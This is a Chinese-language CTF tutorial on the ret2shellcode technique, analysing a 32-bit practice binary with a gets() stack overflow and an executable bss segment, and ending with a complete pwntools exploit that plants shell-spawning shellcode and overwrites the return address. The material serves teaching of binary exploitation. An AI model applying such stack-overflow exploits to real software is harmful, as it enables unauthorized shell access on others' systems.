上篇我们介绍了ret2text,但是这种利用方式有很大的限制。使用ret2text的前提是,程序中有写好的可返回shell的function。否则,就没办法利用了。
这篇给大家介绍一个新的利用方法——ret2shellcode,程序中没有shell,那么我们就写一个进去。
ret2shellcode 又称 Return to shellcode 或ret2sc,当程序的data段是可写可执行且位置固定时,我们可将shellcode写到data段上,并通过栈溢出覆盖返回地址到shellcode。
按照国际惯例,先查看文件信息
$ file ret2sc
$ checksec ret2sc
这是一个32位程序,所有保护都没开
运行一下程序,看看程序的大概流程
程序获取两次用户输入
将程序扔到ida pro里分析
首先分析main()函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-14h]
setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 0x32u);
printf("Try your best:");
return gets(&s);
}
我们看到,程序的两次输入分别是用read()和gets()函数实现的,我们双击进入&name变量中
发现name变量存在在bss段中,且长度足够,不存在溢出
我们再进入&s变量看一下
s变量的大小为0x18,但是gets()函数不会限制我们输入,所以这里是存在栈溢出的
我们继续查看其它函数,并没有发现可给我们返回shell的函数,这里我们就要自己构造shellcode
那么我们在什么位置写入shellcode呢?
将程序导入gdb并运行,ctrl+c将程序中断,利用vmmap查看地址段权限
$ gdb ret2sc
gdb-peda$ r
# ctrl + c
gdb-peda$ vmmap
我们看到bss段是可写可执行的,那么我们就可以将shellcode写入name变量
和之前一样,将程序导入gdb,使用pattern工具计算偏移
不过这道题目name变量是不存在溢出的,所以我们要在第二次输入的时候输入pattern生成的字符串
计算出溢出偏移为32,接下来我们就可以构造payload了
from pwn import *
r = process('./ret2sc')
elf = ELF('./ret2sc')
padding = 32
name_addr = 0x0804A060
shellcode = asm(shellcraft.sh())
r.sendlineafter('Name:',shellcode)
payload = 'a' * padding
payload += p32(name_addr)
r.sendlineafter('best:',payload)
r.interactive()